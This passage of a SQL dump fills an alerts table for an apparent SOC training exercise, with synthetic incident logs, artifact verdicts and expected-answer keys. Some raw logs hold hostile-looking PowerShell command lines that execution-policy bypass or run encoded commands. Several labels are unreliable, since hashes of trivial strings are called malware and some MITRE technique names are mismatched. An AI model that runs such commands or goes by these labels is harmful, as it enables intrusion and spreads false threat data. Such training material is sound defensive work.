IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_service\",\"verdict\":\"malicious\",\"details\":\"Known Command and Control server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"suspicious\",\"details\":\"Associated with malware payload\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"payload.bin\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"suspicious\",\"details\":\"Potentially malicious file\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"infected_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User account on affected system\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(373, 'Lateral Movement Attempt Detected', 'high', 'Internal Network Logs', 'An advanced lateral movement attempt was detected on the network. The attackers used a compromised host to attempt to access other machines within the network, utilizing stolen credentials and suspicious file transfers.', 'Lateral Movement', 'T1086 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_type\":\"lateral_movement\",\"source_ip\":\"10.0.1.5\",\"destination_ip\":\"192.168.1.20\",\"attacker_ip\":\"203.0.113.12\",\"compromised_user\":\"jdoe\",\"malicious_file\":\"payload.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"action\":\"PowerShell execution\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File \\\\\\\\192.168.1.20\\\\share\\\\payload.exe\",\"detected_by\":\"Host Intrusion Prevention System (HIPS)\"}', '2026-01-03 23:52:02', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Target internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Compromised user account\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"malicious\",\"details\":\"Suspicious executable file\"}},{\"id\":\"artifact_6\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'NULL', 1, 0, NULL),
(374, 'Credential Dumping Activity Spotted', 'high', 'Security Information and Event Management (SIEM)', 'An advanced attack has been identified where the attackers have deployed a credential dumping tool to extract passwords from memory, potentially to escalate privileges within the network. The activity was traced back to a specific host within the internal network, and network traffic analysis confirmed communication with a known malicious IP.', 'Credential Access', 'T1003.001 - OS Credential Dumping: LSASS Memory', 1, 'new', NULL, '{\"timestamp\":\"2023-10-02T14:22:35Z\",\"event_type\":\"credential_dumping\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"185.143.221.45\",\"file_name\":\"lsass_dump.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"user\":\"administrator\",\"process_name\":\"lsass.exe\",\"detected_tool\":\"Mimikatz\",\"network_traffic\":{\"bytes_sent\":2048,\"bytes_received\":1024,\"protocol\":\"HTTP\"}}', '2026-01-03 23:52:02', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.143.221.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with credential dumping activities\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"lsass_dump.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"endpoint_detection\",\"verdict\":\"suspicious\",\"details\":\"File name commonly associated with credential dumping attacks\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash linked to Mimikatz malware\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Privileged user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(375, 'File Transfer Activity to External Server', 'critical', 'Data Loss Prevention (DLP) System', 'Sensitive information begins to flow out of the network, sent to an external server under the attackers\' control. Advanced techniques are being utilized to exfiltrate data.', 'Exfiltration', 'T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 ', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"event_id\":\"dlp-20231012-001\",\"source_ip\":\"192.168.1.102\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"file_sha256\":\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\",\"file_name\":\"financial_reports_q3_2023.xlsx\",\"transfer_protocol\":\"HTTPS\",\"transfer_size\":\"15MB\",\"action_taken\":\"Alert Triggered\"}', '2026-01-03 23:52:02', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Lookup\",\"verdict\":\"internal\",\"details\":\"Internal IP address of user workstation.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT group.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory Service\",\"verdict\":\"clean\",\"details\":\"Username of employee John Doe.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash with multiple detections as potential data exfiltration malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"financial_reports_q3_2023.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal File Classification System\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive financial data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(376, 'Wiper Logic Execution Detected', 'critical', 'Endpoint Detection and Response (EDR)', 'As the operation nears its climax, the wiper logic is activated, threatening to erase critical data under the guise of a ransomware attack. The EDR detected the execution of a known wiper malware file on the endpoint, which matches with advanced threat patterns.', 'Impact', 'T1485: Data Destruction', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:45:12Z\",\"event_type\":\"process_execution\",\"host_ip\":\"192.168.1.45\",\"host_name\":\"CORP-WIN10-07\",\"process_name\":\"wiper_exe_activated.exe\",\"process_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"initiating_user\":\"jdoe\",\"attacker_ip\":\"185.92.220.45\",\"attack_command\":\"wiper_exe_activated.exe /silent\",\"attacker_domain\":\"malicious-domain.com\",\"detection_method\":\"EDR heuristic analysis\"}', '2026-01-03 23:52:02', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known wiper malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"185.92.220.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"malicious-domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Domain used by attacker for command and control.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"wiper_exe_activated.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Filename of the wiper malware detected on endpoint.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Employee account involved in the incident.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NULL', 1, 0, NULL);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
(377, 'Forensic Artifact Recovery Initiated', 'high', 'Incident Response Tools', 'The incident response team has initiated recovery of forensic artifacts to preserve crucial evidence. The operation is aimed at understanding the attack vectors and preventing future occurrences. Advanced techniques were used to collect and analyze data from compromised systems.', 'Containment', 'T1113 - Screen Capture', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"IR-20231015-0023\",\"source_ip\":\"192.168.1.15\",\"detected_malware\":{\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"malicious_tool.exe\"},\"attacker_ip\":\"203.0.113.45\",\"user\":\"compromised_user\",\"forensic_artifacts\":[{\"type\":\"memory_dump\",\"filename\":\"memdump_20231015.raw\"},{\"type\":\"disk_image\",\"filename\":\"disk_image_20231015.img\"}],\"action\":\"artifact_recovery_initiated\",\"status\":\"success\"}', '2026-01-03 23:52:02', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address assigned to compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Known malicious hash associated with advanced persistent threat.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known threat actor.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_scan\",\"verdict\":\"malicious\",\"details\":\"Detected as part of the ongoing investigation into the breach.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"active_directory\",\"verdict\":\"suspicious\",\"details\":\"User account exhibiting unusual activity patterns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(378, 'Mitigation and Remediation Measures Implemented', 'medium', 'System Recovery Logs', 'The recovery team has successfully deployed remediation measures to neutralize the threat and restore affected systems. Mitigation strategies included blocking identified malicious IP addresses and resetting credentials for compromised user accounts.', 'Recovery', 'T1556 - Credentials from Password Stores', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T09:23:45Z\",\"event_id\":\"RECOVERY-20231015-0001\",\"source\":\"system_recovery\",\"action\":\"remediation_implemented\",\"affected_systems\":[{\"hostname\":\"server1.internal.network\",\"internal_ip\":\"192.168.1.10\",\"external_ip\":\"203.0.113.15\",\"malicious_ip\":\"198.51.100.34\",\"compromised_user\":\"j.doe\",\"affected_files\":[{\"filename\":\"malicious_payload.exe\",\"file_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\"}],\"remediation_actions\":[\"blocked_ip\",\"reset_credentials\",\"removed_malicious_files\"]}]}', '2026-01-03 23:52:02', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelFeed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected in multiple malware campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalAudit\",\"verdict\":\"internal\",\"details\":\"User account had unauthorized access attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'NULL', 1, 0, NULL),
(379, 'Phishing Email Detected', 'medium', 'Email Gateway Logs', 'APT1 has initiated the attack by sending a spear-phishing email containing a malicious attachment to gain initial access.', 'Initial Access', 'T1566.001 - Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:34Z\",\"email_id\":\"c2b2d5f8-8f5a-4e6b-bef8-7b2d1e2e9f30\",\"from\":\"attacker@maliciousdomain.com\",\"to\":\"victim@targetdomain.com\",\"subject\":\"Urgent: Update Your Account Information\",\"attachment\":\"Invoice_2023.pdf.exe\",\"attachment_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36\"}', '2026-01-04 00:59:40', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Domain associated with known phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a trojan used by APT1.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Abuse DB\",\"verdict\":\"malicious\",\"details\":\"IP used in previous phishing attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Invoice_2023.pdf.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File name mimics legitimate invoice documents.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Beginner', 'NULL', 1, 0, NULL),
(380, 'Malicious Payload Execution', 'high', 'Endpoint Detection and Response (EDR) logs', 'The malicious attachment was opened, leading to the execution of a payload that attempts to establish a foothold within the network.', 'Execution', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"4624\",\"user\":\"jdoe\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"203.0.113.45\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -EncodedCommand aW1wb3J0LXNlc3Npb24=\",\"file_hash\":\"b19d2f1e3c8b4f1b8f2e8a5c6d3a2b7c\",\"filename\":\"malicious_attachment.docx\",\"threat_level\":\"high\",\"description\":\"Suspicious PowerShell command execution detected.\"}', '2026-01-04 00:59:40', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP used by user jdoe.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"reputation_database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b19d2f1e3c8b4f1b8f2e8a5c6d3a2b7c\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_attachment.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"suspicious\",\"details\":\"File used to deliver malicious payload.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"active_directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(381, 'Persistence Mechanism Installed', 'medium', 'Registry and Scheduled Task Logs', 'APT1 establishes persistence by creating scheduled tasks and modifying registry keys to maintain access even after reboots.', 'Persistence', 'T1053.005', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:52:35Z\",\"event_id\":7045,\"source\":\"Service Control Manager\",\"description\":\"A service was installed in the system.\",\"service_name\":\"UpdateService\",\"service_file\":\"C:\\\\Windows\\\\System32\\\\svchost.exe -k netsvcs\",\"registry_modification\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\UpdateService\",\"scheduled_task_creation\":{\"task_name\":\"UpdateTask\",\"task_file\":\"C:\\\\Windows\\\\System32\\\\updatetask.exe\",\"task_user\":\"SYSTEM\"},\"internal_ip\":\"10.0.0.15\",\"external_ip\":\"192.168.1.100\",\"attacker_ip\":\"203.0.113.45\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"admin\"}', '2026-01-04 00:59:40', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT1 activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known malware used by APT1.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"suspicious\",\"details\":\"Username used in suspicious activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Beginner', 'NULL', 1, 0, NULL),
(382, 'Credential Dumping Detected', 'high', 'Security Information and Event Management (SIEM) alerts', 'APT1 is attempting lateral movement by utilizing harvested credentials to access critical systems within the network. Anomalous login attempts detected from an unauthorized source IP address.', 'Lateral Movement', 'T1003 - Credential Dumping', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:17Z\",\"event_id\":\"4625\",\"log_source\":\"Windows Security Log\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"username\":\"admin_user\",\"logon_type\":\"3\",\"failure_reason\":\"Unknown user name or bad password\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\lsass.exe\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"event_message\":\"An account failed to log on. Subject: Security ID: NULL SID, Account Name: -, Logon Process: NtLmSsp, Authentication Package: NTLM, Workstation Name: -\"}', '2026-01-04 00:59:40', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a critical system.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with credential dumping malware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Username of a privileged account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'NULL', 1, 0, NULL),
(383, 'Data Exfiltration Attempt', 'high', 'Network Traffic Analysis', 'In the final phase, APT1 attempts to exfiltrate sensitive data to an external server, marking the culmination of the attack.', 'Exfiltration', 'T1041', 1, 'new', NULL, '{\"timestamp\":\"2023-10-16T14:22:35Z\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"method\":\"POST\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"bytes_sent\":10485760,\"uri\":\"/api/upload\",\"filename\":\"confidential_data.zip\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"username\":\"john.doe\",\"status_code\":200}', '2026-01-04 00:59:40', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint_database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT1 command and control servers.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash matches known malicious data exfiltration tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"malicious\",\"details\":\"File contains sensitive data intended for exfiltration.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_hr\",\"verdict\":\"internal\",\"details\":\"Legitimate user credentials possibly compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(384, 'Spear Phishing Email Detected', 'medium', 'Email Gateway Logs', 'APT3 initiates their attack with a well-crafted spear phishing email, targeting key employees to gain a foothold into the network. The email contains a malicious attachment designed to exploit the recipient\'s system.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.25\",\"email_subject\":\"Urgent: Action Required for Your Account\",\"email_sender\":\"john.doe@fakecompany.com\",\"email_recipient\":\"jane.smith@targetcompany.com\",\"attachment\":{\"filename\":\"Invoice_2023.docx\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\"}', '2026-01-04 02:06:57', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with APT3 command and control servers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"IP address of targeted employee within the network.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"john.doe@fakecompany.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Source Intelligence\",\"verdict\":\"malicious\",\"details\":\"Email address used in a known spear phishing campaign by APT3.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with a malicious document used in phishing attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Beginner', 'NULL', 1, 0, NULL),
